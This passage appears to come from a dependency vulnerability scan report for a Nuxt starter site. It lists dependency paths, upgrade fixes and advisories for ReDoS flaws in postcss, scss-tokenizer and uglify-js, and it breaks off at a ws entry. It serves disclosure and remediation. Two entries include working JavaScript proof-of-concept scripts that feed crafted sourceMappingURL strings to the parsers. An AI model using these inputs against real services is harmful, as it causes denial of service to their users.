  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/pwa@0.2.1 › @nuxtjs/optimize@1.1.1 › @nuxtjs/cssnano@1.0.1 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18

…and 160 more

Overview

postcss is a PostCSS is a tool for transforming styles with JS plugins.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern \/\*\s*# sourceMappingURL=(.*).

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            postcss.parse(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade postcss to version 8.2.13, 7.0.36 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: scss-tokenizer
  • Introduced through: node-sass@4.14.1

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › node-sass@4.14.1 › sass-graph@2.2.5 › scss-tokenizer@0.2.3
    Remediation: Upgrade to node-sass@7.0.2.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.

PoC

var scss = require("scss-tokenizer")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            scss.tokenize(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade scss-tokenizer to version 0.4.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-minifier@3.5.21 › uglify-js@3.4.10
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › html-minifier@3.5.21 › uglify-js@3.4.10
    Remediation: Upgrade to nuxt@2.3.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-minifier@3.5.21 › uglify-js@3.4.10
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › html-webpack-plugin@2.30.1 › html-minifier@3.5.21 › uglify-js@3.4.10
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › nuxt@1.4.5 › webpack@3.12.0 › uglifyjs-webpack-plugin@0.4.6 › uglify-js@2.8.29
    Remediation: Upgrade to nuxt@2.0.0.
  • Introduced through: bw-starter@silverbackis/nuxtstarterwebsite#6bc0745ffca5b9b97e04ece8b1d242bbefda5305 › @nuxtjs/axios@3.1.4 › nuxt@1.4.5 › webpack@3.12.0 › uglifyjs-webpack-plugin@0.4.6 › uglify-js@2.8.29
    Remediation: Upgrade to @nuxtjs/axios@4.0.1.

…and 3 more

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

Regular Expression Denial of Service (ReDoS) vulnerability report

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: ws
  • Introduced through: nuxt@1.4.5 and @nuxtjs/axios@3.1.4

Detailed paths

